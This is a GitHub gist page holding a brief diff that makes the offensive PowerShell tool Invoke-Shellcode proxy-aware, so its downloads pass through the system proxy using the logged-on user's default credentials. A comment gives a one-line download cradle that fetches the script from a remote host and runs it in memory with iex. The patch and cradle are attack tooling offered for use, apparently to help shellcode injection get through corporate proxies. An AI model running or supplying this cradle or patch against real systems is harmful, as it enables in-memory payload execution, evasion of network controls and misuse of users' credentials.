Skip to content

Instantly share code, notes, and snippets.

@hatRiot
Last active May 7, 2016 16:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hatRiot/0fc84f8b4f9f958b24dd to your computer and use it in GitHub Desktop.
Save hatRiot/0fc84f8b4f9f958b24dd to your computer and use it in GitHub Desktop.
Invoke-Shellcode proxy-aware
# apply to Invoke-Shellcode.ps1
# invoke with:
# PS > $wc = New-Object Net.WebClient ; $wc.UseDefaultCredentials = $true; $wc.Proxy.Credentials = $wc.Credentials ; iex $wc.DownloadString("http://host/Invoke-Shellcode.ps1")
596,599c596
<
< $proxy = [System.Net.WebRequest]::GetSystemWebProxy()
< $proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
<
---
>
602d598
< $WebClient.proxy = $proxy
< $WebClient.UseDefaultCredentials = $true
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment